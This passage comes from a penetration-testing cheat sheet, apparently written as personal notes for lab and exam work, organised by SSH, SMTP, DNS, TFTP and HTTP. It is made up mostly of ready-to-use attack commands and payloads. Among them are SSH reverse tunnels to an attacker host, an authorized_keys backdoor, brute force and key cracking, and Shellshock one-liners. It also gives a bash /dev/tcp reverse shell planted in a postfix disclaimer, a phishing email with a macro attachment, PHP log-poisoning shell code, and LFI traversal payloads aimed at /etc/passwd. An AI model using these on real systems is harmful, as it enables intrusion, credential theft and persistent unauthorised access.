&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# CREATE dedicated reverse ssh account on pentest1&lt;br /&gt;
sudo useradd -m -s /bin/bash user&lt;br /&gt;
ssh-keygen -t ed25519 -f user -C &amp;quot;user&amp;quot;&lt;br /&gt;
sudo mkdir -p /home/user/.ssh&lt;br /&gt;
sudo chmod 700 /home/user/.ssh&lt;br /&gt;
sudo sh -c &#039;cat user.pub &amp;gt;&amp;gt; /home/user/.ssh/authorized_keys&#039;&lt;br /&gt;
sudo chmod 600 /home/user/.ssh/authorized_keys&lt;br /&gt;
sudo chown -R user:user /home/user/.ssh&lt;br /&gt;
chmod 700 /home/user&lt;br /&gt;
chmod 600 /home/user/.ssh/authorized_keys&lt;br /&gt;
chown user:user /home/user&lt;br /&gt;
# ON target, portforward&lt;br /&gt;
# Make sure you remove inheritance and remove everyone to have access to the key except your user. Also save the file in your home folder, not in a folder where everyone have read access.&lt;br /&gt;
icacls .\key.txt /inheritance:r&lt;br /&gt;
 ssh -i .\key.txt -N -R 10088:192.168.1.100:88 -R 10389:192.168.1.100:389 -R 10636:192.168.1.100:636 -R 10053:192.168.1.100:53 user@attacker-ip&lt;br /&gt;
# SOCAT to create a forward from 10088 and whatver back to 88 to make sure certipy works.&lt;br /&gt;
socat TCP4-LISTEN:53,fork TCP4:127.0.0.1:10053 &amp;amp;&lt;br /&gt;
socat TCP4-LISTEN:88,fork TCP4:127.0.0.1:10088 &amp;amp;&lt;br /&gt;
socat TCP4-LISTEN:636,fork TCP4:127.0.0.1:10636 &amp;amp;&lt;br /&gt;
socat TCP4-LISTEN:445,fork TCP4:127.0.0.1:10445 &amp;amp;&lt;br /&gt;
socat TCP4-LISTEN:389,fork TCP4:127.0.0.1:10389 &amp;amp;&lt;br /&gt;
# In hosts file add the dc hostname and tie to localhost on pentest1&lt;br /&gt;
127.0.0.1 DC.domain.local&lt;br /&gt;
&lt;br /&gt;
# From attacker windows machine.&lt;br /&gt;
# The below command basically tells that connect port 88 to 127.0.0.1 at port 10088 .&lt;br /&gt;
# This will reach the linux machine and make them accessible to me.&lt;br /&gt;
ssh -NT -i .\key.txt user@attacker-ip -L 88:127.0.0.1:10088 -L 389:127.0.0.1:10389 -L 636:127.0.0.1:10636 -L 53:127.0.0.1:10053&lt;br /&gt;
ssh -NT -i .\key.txt user@attacker-ip -L 88:127.0.0.1:88 -L 389:127.0.0.1:389 -L 636:127.0.0.1:636 -L 1053:127.0.0.1:53&lt;br /&gt;
ssh -NT -i .\key.txt user@attacker-ip -L 88:127.0.0.1:88 -L 389:127.0.0.1:389 -L 636:127.0.0.1:636 -L 53:127.0.0.1:53 -L 10445:127.0.0.1:445&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Banner grabbing ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
nc -vn  22&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Brute force ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
hydra -V -f -L  -P  ssh:// -u -vV&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Config files ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
ssh_config&lt;br /&gt;
sshd_config&lt;br /&gt;
authorized_keys&lt;br /&gt;
ssh_known_hosts&lt;br /&gt;
known_hosts&lt;br /&gt;
id_rsa&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Backdoor ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Attacker&lt;br /&gt;
ssh-keygen -f&lt;br /&gt;
chmod 600&lt;br /&gt;
cat .pub -&amp;gt; copy&lt;br /&gt;
# Victim - Remember to chmod 600 authorized_keys&lt;br /&gt;
echo .pub &amp;gt;&amp;gt; /.ssh/authorized_keys&lt;br /&gt;
# Connect&lt;br /&gt;
ssh -i  @&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Debian OpenSSL Predictable PRNG ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# https://github.com/g0tmi1k/debian-ssh/blob/master/README.md&lt;br /&gt;
# https://github.com/g0tmi1k/debian-ssh&lt;br /&gt;
# https://gitbook.brainyou.stream/basic-linux/ssh-key-predictable-prng-authorized_keys-process&lt;br /&gt;
# Obtain the authorized_keys file. It will be something like (ssh-dss ....):&lt;br /&gt;
ssh-dss AAAAB3NzaC1kc3MAAACBAOgzzMCD3Im5bRnAV[...] root@debian40server&lt;br /&gt;
# On the attacker machine, add the following line in /etc/ssh/ssh_config:&lt;br /&gt;
PubkeyAcceptedKeyTypes +ssh-dss&lt;br /&gt;
# Get the debian SSH repo:&lt;br /&gt;
git clone https://github.com/g0tmi1k/debian-ssh&lt;br /&gt;
tar vjxf debian-ssh/common_keys/debian_ssh_dsa_1024_x86.tar.bz2&lt;br /&gt;
# Copy the first 30 (approx.) characters after ssh-dss in the authorized_keys, then search it in the repo using grep -lr:&lt;br /&gt;
cd debian-ssh/common_keys/dsa/1024/&lt;br /&gt;
grep -lr &#039;AAAAB3NzaC1kc3MAAACBAOgzzMCD3Im5bRnAVdV3yLwTsyNAi3IiFShIfx9&#039;&lt;br /&gt;
&lt;br /&gt;
# Flags for common error&lt;br /&gt;
# flag for algorithm&lt;br /&gt;
-okexAlgorithms=+diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1&lt;br /&gt;
# flag for public key&lt;br /&gt;
-oPubkeyAcceptedKeyTypes=+ssh-dss&lt;br /&gt;
# flag for cipher&lt;br /&gt;
-c aes128-cbc&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Decrypt RSA ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
ssh2john [id_rsa private key file] &amp;gt; [output file]&lt;br /&gt;
john --wordlist=/usr/share/wordlists/rockyou.txt id_rsa_hash.txt&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Key file ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
/home/user/.ssh/authorized_keys&lt;br /&gt;
/home/usr/.ssh/id_rsa&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Restriction SSH public key ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
from=&amp;quot;192.168.1.150&amp;quot;,command=&amp;quot;echo &#039;This account can only be used for port forwarding&#039;&amp;quot;,no-agent-forwarding,no-X11-forwarding,no-pty ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCxO27JE5uXiHqoUUb4j9o/IPHxsPg+fflPKW4N6pK0ZXSmMfLhjaHyhUr4auF+hSnF2g1hN4N2Z4DjkfZ9f95O7Ox3m0oaUgEwHtZcwTNNLJiHs2fSs7ObLR+gZ23kaJ+TYM8ZIo/ENC68Py+NhtW1c2So95ARwCa/Hkb7kZ1xNo6f6rvCqXAyk/WZcBXxYkGqOLut3c5B+++6h3spOPlDkoPs8T5/wJNcn8i12Lex/d02iOWCLGEav2V1R9xk87xVdI6h5BPySl35+ZXOrHzazbddS7MwGFz16coo+wbHbTR6P5fF9Z1Zm9O/US2LoqHxs7OxNq61BLtr4I/MDnin www-data@user&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== SSH when no interactive shell ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
ssh kali@10.11.0.4 -o &amp;quot;UserKnownHostsFile=/dev/null&amp;quot; -o &amp;quot;StrictHostKeyChecking=no&amp;quot; -i id_rsa&lt;br /&gt;
ssh -f -N -R 1080 -o &amp;quot;UserKnownHostsFile=/dev/null&amp;quot; -o &amp;quot;StrictHostKeyChecking=no&amp;quot; -i id_rsa kali@10.11.0.4&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== SHELLSHOCK exploit ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
ssh -i id_rsa user@ &#039;() {:;};/bin/bash&#039;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
== 25 ,465, 587 - SMTP ==&lt;br /&gt;
&lt;br /&gt;
=== User enumeration ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
smtp-user-enum -M  -u  -t&lt;br /&gt;
# Example&lt;br /&gt;
smtp-user-enum -M VRFY -U /usr/share/seclists/Usernames/Names/names.txt -t 192.168.196.137&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Se ===&lt;br /&gt;
&lt;br /&gt;
=== Send mail ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# sendmail&lt;br /&gt;
sendemail -t recepiant@test.com -f ghanim@mail.com -s SMTP_server -m &amp;quot;Please open attachment&amp;quot; -u &amp;quot;My job application&amp;quot; -a MyJobApplication.docm&lt;br /&gt;
-t : Recipient&#039;s email address.&lt;br /&gt;
-f : Sender&#039;s email address.&lt;br /&gt;
-s : SMTP server address.&lt;br /&gt;
-m : Message body of the email.&lt;br /&gt;
-u : Subject of the email.&lt;br /&gt;
-a : File to attach to the email.&lt;br /&gt;
# Telnet&lt;br /&gt;
telnet 192.168.196.137 25                                                                                                                                           1 ⨯&lt;br /&gt;
Trying 192.168.196.137...&lt;br /&gt;
Connected to 192.168.196.137.&lt;br /&gt;
Escape character is &#039;^]&#039;.&lt;br /&gt;
220 postfish.off ESMTP Postfix (Ubuntu)&lt;br /&gt;
HELO HELO&lt;br /&gt;
250 postfish.off&lt;br /&gt;
MAIL FROM: it@postfish.off&lt;br /&gt;
250 2.1.0 Ok&lt;br /&gt;
RCPT TO: brian.moore@postfish.off&lt;br /&gt;
250 2.1.5 Ok&lt;br /&gt;
DATA&lt;br /&gt;
354 End data with .&lt;br /&gt;
subject: Test&lt;br /&gt;
Hello,&lt;br /&gt;
This is a test.&lt;br /&gt;
Regards,&lt;br /&gt;
Me&lt;br /&gt;
.&lt;br /&gt;
250 2.0.0 Ok: queued as F2824458F9&lt;br /&gt;
quit&lt;br /&gt;
221 2.0.0 Bye&lt;br /&gt;
Connection closed by foreign host.&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== SMTP 4.2.x &amp;lt; 4.2.48 - &#039;Shellshock&#039; ===&lt;br /&gt;
&lt;br /&gt;
[https://github.com/3mrgnc3/pentest_old/blob/master/postfix-shellshock-nc.py https://github.com/3mrgnc3/pentest_old/blob/master/postfix-shellshock-nc.py]&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
python2 shellshock.py 10.11.1.231 useradm@mail.local 192.168.119.173 443&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Disclaimer exploit ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# https://www.howtoforge.com/how-to-automatically-add-a-disclaimer-to-outgoing-emails-with-altermime-postfix-on-debian-squeeze&lt;br /&gt;
# If user is member of the group filter and the file /etc/postfix/disclaimer is present, we can probably escalate our privileges. We need to be able to write to disclaimer. By adding a reverse shell in the disclaimer file, and sending a mail using SMTP we can get a reverse shell. The disclaimer will be sent with the mail and our code will be executed.&lt;br /&gt;
# 1. Add BASH TCP to disclaimer&lt;br /&gt;
/etc/postfix$ cat disclaimer&lt;br /&gt;
#!/bin/bash&lt;br /&gt;
bash -i &amp;gt;&amp;amp; /dev/tcp/192.168.49.196/4444 0&amp;gt;&amp;amp;1&lt;br /&gt;
# 2. Send mail to any user&lt;br /&gt;
# 3. Receive a connection to our netcat listener.&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
== 53 - DNS ==&lt;br /&gt;
&lt;br /&gt;
=== Banner grabbing ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
dig version.bind CHAOS TXT @DNS&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Enumerate DNS info ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
dnsenum&lt;br /&gt;
dnsrecon -d&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Subdomains bruteforce ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
dnsrecon -D subdomains-1000.txt -d  -n&lt;br /&gt;
dnscan -d  -r -w subdomains-1000.txt #Bruteforce subdomains in recursive way, https://github.com/rbsec/dnscan&lt;br /&gt;
aiodnsbrute -w wordlist.txt -vv -t 1024 domain.com&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Zone transfer ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
dig axfr @ #Try zone transfer without domain&lt;br /&gt;
dig axfr @  #Try zone transfer guessing the domain&lt;br /&gt;
dnsrecon -d  -a&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
== 69 (UDP) - TFPT ==&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Filename containing spaces fix:&lt;br /&gt;
# kali-tftp fails when filename contains spaces.&lt;br /&gt;
# Install&lt;br /&gt;
sudo apt install -y tftp-hpa&lt;br /&gt;
# Commands&lt;br /&gt;
tftp [-v] -m binary IP -c get &#039;\Windows\system.ini&#039; system.ini&lt;br /&gt;
# \Windows\System32\Drivers\etc\hosts&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
== 79 - FINGER ==&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
== 80, 443 - HTTP/HTTPS ==&lt;br /&gt;
&lt;br /&gt;
=== Apache HTTP basic auth - Change password using htpasswd ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
htpasswd  username&lt;br /&gt;
# Can also change passwd for webda users with same command&lt;br /&gt;
# Example&lt;br /&gt;
htpasswd /var/www/web1/passwd.dav test&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Burp Suite ===&lt;br /&gt;
&lt;br /&gt;
When adding custom header, always remember to have two or three new-lines after the header, otherwise the site wont respond.&lt;br /&gt;
&lt;br /&gt;
==== Add custom header permanent (Request and Response) ====&lt;br /&gt;
&lt;br /&gt;
[[File:2022-08-image-2.png|thumb]]&lt;br /&gt;
&lt;br /&gt;
[[File:2022-08-image.png|thumb]]&lt;br /&gt;
&lt;br /&gt;
[[File:2022-08-image-1.png|thumb]]&lt;br /&gt;
&lt;br /&gt;
=== Client Fingerprinting ===&lt;br /&gt;
&lt;br /&gt;
From PWK 13.1.4&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# https://github.com/fingerprintjs/fingerprintjs&lt;br /&gt;
cd /var/www/html/ &amp;amp;&amp;amp; sudo wget https://github.com/fingerprintjs/fingerprintjs/archive/2.1.4.zip &amp;amp;&amp;amp; sudo unzip 2.1.4.zip &amp;amp;&amp;amp; sudo mv fingerprintjs-2.1.4/ fp/ &amp;amp;&amp;amp; cd fp&lt;br /&gt;
# Then use whatever text editor you want to create an fingerprint2.html (sudo nano fingerprint2.html) file add the following code to it. This is the same code as in the example but it&#039;s &amp;quot;prettified&amp;quot; from within VS Code.&lt;br /&gt;
## YOU MIGHT GET ERROR THAT fingerprint2.js IS NOT DEFINED. Move fingerprint2.js from fp folder to /var/www/html.&lt;br /&gt;
&lt;br /&gt;
    Fingerprintjs2 test&lt;br /&gt;
&lt;br /&gt;
    Fingerprintjs2&lt;br /&gt;
    Your browser fingerprint:&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
      var d1 = new Date();&lt;br /&gt;
      var options = {};&lt;br /&gt;
      Fingerprint2.get(options, function (components) {&lt;br /&gt;
        var values = components.map(function (component) {&lt;br /&gt;
          return component.value;&lt;br /&gt;
        });&lt;br /&gt;
        var murmur = Fingerprint2.x64hash128(values.join(&amp;quot;&amp;quot;), 31);&lt;br /&gt;
        var d2 = new Date();&lt;br /&gt;
        var timeString =&lt;br /&gt;
          &amp;quot;Time to calculate the fingerprint: &amp;quot; + (d2 - d1) + &amp;quot;ms&amp;quot;;&lt;br /&gt;
        var details = &amp;quot;Detailed information: &amp;quot;;&lt;br /&gt;
        if (typeof window.console !== &amp;quot;undefined&amp;quot;) {&lt;br /&gt;
          for (var index in components) {&lt;br /&gt;
            var obj = components[index];&lt;br /&gt;
            var value = obj.value;&lt;br /&gt;
            if (value !== null) {&lt;br /&gt;
              var line = obj.key + &amp;quot; = &amp;quot; + value.toString().substr(0, 150);&lt;br /&gt;
              details += line + &amp;quot;&amp;quot;;&lt;br /&gt;
            }&lt;br /&gt;
          }&lt;br /&gt;
        }&lt;br /&gt;
        document.querySelector(&amp;quot;#details&amp;quot;).innerHTML = details;&lt;br /&gt;
        document.querySelector(&amp;quot;#fp&amp;quot;).textContent = murmur;&lt;br /&gt;
        document.querySelector(&amp;quot;#time&amp;quot;).textContent = timeString;&lt;br /&gt;
      });&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
# Then use a web server of your choice. If you use another web server as described elsewhere in this course, just be aware of where you execute it. Apache defaults to /var/www/html/ while others may be dependant on where you start them. I saw some chatter about Apache not working, however it does for me:&lt;br /&gt;
&lt;br /&gt;
sudo systemctl start apache2&lt;br /&gt;
# Now visit localhost or IP of server&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
[[File:2022-10-image.png|thumb]]&lt;br /&gt;
&lt;br /&gt;
=== Command injection ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Command%20Injection/README.md#bypass-with-backslash-and-slash&lt;br /&gt;
Filter Bypasses&lt;br /&gt;
Bypass without space&lt;br /&gt;
Bypass with a line return&lt;br /&gt;
Bypass with backslash newline&lt;br /&gt;
Bypass characters filter via hex encoding&lt;br /&gt;
Bypass blacklisted words&lt;br /&gt;
Bypass with single quote&lt;br /&gt;
Bypass with double quote&lt;br /&gt;
Bypass with backslash and slash&lt;br /&gt;
Bypass with $@&lt;br /&gt;
Bypass with $()&lt;br /&gt;
Bypass with variable expansion&lt;br /&gt;
Bypass with wildcards&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Directory brute force ===&lt;br /&gt;
&lt;br /&gt;
Try different tools! Sometimes different tools give different results. See Robust box notes for more info.&lt;br /&gt;
&lt;br /&gt;
==== Feroxbuster ====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# --threads 1; max 1 thread; -f appends slash (/); --status-codes; only show 200, -L 3; Limit total number of concurrent scans, --auto-tune;  Automatically lower scan rate when an excessive amount of errors are encountered, --depth 3; Maximum recursion depth, a depth of 0 is infinite recursion&lt;br /&gt;
feroxbuster --url https://URL --threads 1 -f -x php,html,txt,sh --status-codes 200 -o ferox.result3 -L 3 --auto-tune --depth 3 -x txt bak sql sh asp aspx php json conf htaccess config jar db html&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Gobuster ====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
gobuster dir -u https://URL -w /usr/share/wordlist/dirb/big.txt [-x FILE EXTENSION]&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== ffuf ====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
ffuf -w /path/to/wordlist -u https://target/FUZZ&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== wfuzz ====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
wfuzz -c -w /usr/share/seclists/Discovery/Web-Content/raft-large-files-lowercase.txt -u http://192.168.153.200/FUZZ -H &amp;quot;X-Forwarded-For: 10.10.10.150&amp;quot; --hc 404&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== .htaccess change to allow upload php ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
cat .htaccess&lt;br /&gt;
AddType application/x-httpd-php .evil&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== File upload ===&lt;br /&gt;
&lt;br /&gt;
[https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Upload%20Insecure%20Files/README.md PayloadsAllTheThings/README.md at master · swisskyrepo/PayloadsAllTheThings · GitHub]&lt;br /&gt;
&lt;br /&gt;
==== File upload MindMap ====&lt;br /&gt;
&lt;br /&gt;
[[File:2023-06-file-upload-mindmap-1.png|thumb]]&lt;br /&gt;
&lt;br /&gt;
==== Extension ====&lt;br /&gt;
&lt;br /&gt;
[https://book.hacktricks.xyz/pentesting-web/file-upload https://book.hacktricks.xyz/pentesting-web/file-upload]&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
- PHP: .php, .php2, .php3, .php4, .php5, .php6, .php7, .phps, .phps, .pht, .phtm, .phtml, .pgif, .shtml, .htaccess, .phar, .inc, .hphp, .ctp, .module&lt;br /&gt;
- Working in PHPv8: .php, .php4, .php5, .phtml, .module, .inc, .hphp, .ctp&lt;br /&gt;
- ASP: .asp, .aspx, .config, .ashx, .asmx, .aspq, .axd, .cshtm, .cshtml, .rem, .soap, .vbhtm, .vbhtml, .asa, .cer, .shtml&lt;br /&gt;
- Jsp: .jsp, .jspx, .jsw, .jsv, .jspf, .wss, .do, .action&lt;br /&gt;
- Coldfusion: .cfm, .cfml, .cfc, .dbm&lt;br /&gt;
- Flash: .swf&lt;br /&gt;
- Perl: .pl, .cgi&lt;br /&gt;
- Erlang Yaws Web Server: .yaws&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== HTTP PUT ====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
curl -X PUT http:/// -d @ -v&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Web.config ====&lt;br /&gt;
&lt;br /&gt;
[https://soroush.secproject.com/blog/2014/07/upload-a-web-config-file-for-fun-profit/ Source]&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;xml&amp;quot;&amp;gt;&lt;br /&gt;
# Web.cofig file with ASP code at the bottom. Modify at will.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
--&amp;gt;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Local File Incusion (LFI) / Remote File Inclusion (RFI) ===&lt;br /&gt;
&lt;br /&gt;
==== Log Poising ====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# First identify what logs you have access to. Then inject php payload to the access log.&lt;br /&gt;
# For example: Apache2 /var/log/apache2/access.log.&lt;br /&gt;
# Or: vsftpd /var/log/vsftpd.log&lt;br /&gt;
nc -nv 10.11.0.22 80&lt;br /&gt;
(UNKNOWN) [10.11.0.22] 80 (http) open&lt;br /&gt;
&#039; . shell_exec($_GET[&#039;cmd&#039;]) . &#039;&#039;;?&amp;gt;&lt;br /&gt;
# You should now see that request in the access log (Or other logs you, like /var/log/vsftpd.log if its a FTP server.&lt;br /&gt;
curl http://10.10.10.10/site.php?file=/var/log/apache2/access.log&amp;amp;cmd=whoami&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== LFI ====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/File%20Inclusion&lt;br /&gt;
# Basic LFI&lt;br /&gt;
http://example.com/index.php?page=../../../etc/passwd&lt;br /&gt;
# Null byte&lt;br /&gt;
## In versions of PHP below 5.3.4 we can terminate with null byte.&lt;br /&gt;
http://example.com/index.php?page=../../../etc/passwd%00&lt;br /&gt;
# Double encoding&lt;br /&gt;
http://example.com/index.php?page=%252e%252e%252fetc%252fpasswd&lt;br /&gt;
http://example.com/index.php?page=%252e%252e%252fetc%252fpasswd%00&lt;br /&gt;
# UTF-8 encoding&lt;br /&gt;
http://example.com/index.php?page=%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/etc/passwd&lt;br /&gt;
http://example.com/index.php?page=%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/etc/passwd%00&lt;br /&gt;
# Path and dot truncation&lt;br /&gt;
## On most PHP installations a filename longer than 4096 bytes will be cut off so any excess chars will be thrown away.&lt;br /&gt;
http://example.com/index.php?page=../../../etc/passwd............[ADD MORE]&lt;br /&gt;
http://example.com/index.php?page=../../../etc/passwd\.\.\.\.\.\.[ADD MORE]&lt;br /&gt;
http://example.com/index.php?page=../../../etc/passwd/./././././.[ADD MORE]&lt;br /&gt;
http://example.com/index.php?page=../../../[ADD MORE]../../../../etc/passwd&lt;br /&gt;
# Filter bypass tricks&lt;br /&gt;
http://example.com/index.php?page=....//....//etc/passwd&lt;br /&gt;
http://example.com/index.php?page=..///////..////..//////etc/passwd&lt;br /&gt;
http://example.com/index.php?page=/%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../etc/passwd&lt;br /&gt;
# PHP header file (Windows)&lt;br /&gt;
&lt;br /&gt;
# PHP header file (Linux)&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== LFI list ====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Linux&lt;br /&gt;
/SecLists/Fuzzing/LFI/LFI-gracefulsecurity-linux.txt&lt;br /&gt;
# Windows&lt;br /&gt;
/SecLists/Fuzzing/LFI/LFI-gracefulsecurity-windows.txt&lt;br /&gt;
https://gist.github.com/korrosivesec/a339e376bae22fcfb7f858426094661e&lt;br /&gt;
# Both&lt;br /&gt;
/SecLists/Fuzzing/LFI/LFI-LFISuite-pathtotest-huge.txt&lt;br /&gt;
